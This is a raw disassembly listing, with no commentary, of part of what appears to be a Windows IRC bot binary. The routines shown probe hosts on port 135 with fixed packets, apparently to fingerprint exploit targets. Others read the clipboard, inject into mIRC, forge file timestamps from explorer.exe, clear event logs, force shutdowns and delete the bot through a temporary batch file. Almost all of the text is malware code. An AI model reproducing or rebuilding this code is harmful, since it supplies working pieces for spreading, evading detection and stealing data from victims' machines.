		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: .packed:0040DFD7p
					; .packed:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14	; inet_addr
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24	; send
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC	; recv
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; sub_410BFD+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; sub_415E4B+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_427094	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_427164	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4	; OpenClipboard
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	dword_42716C	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_427168	; GlobalUnlock
		call	dword_4CBA28	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_427178	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_427174	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30	; SendMessageA
		push	ebx
		call	dword_427170	; UnmapViewOfFile
		push	edi
		call	dword_427070	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: sub_401221+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90	; SearchPathA
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_427180	; GetFileTime
		push	ebx
		mov	ebx, dword_427070
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_42717C	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; sub_4167A0+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4270B8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4270F0	; WriteFile
		push	edi
		call	dword_427070	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_42709C	; SetFileAttributesA


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_427184	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_427074	; CreateProcessA


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270D0	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CB964	; ClearEventLogA
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270D0	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4270C4	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_427144	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40F0F1+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
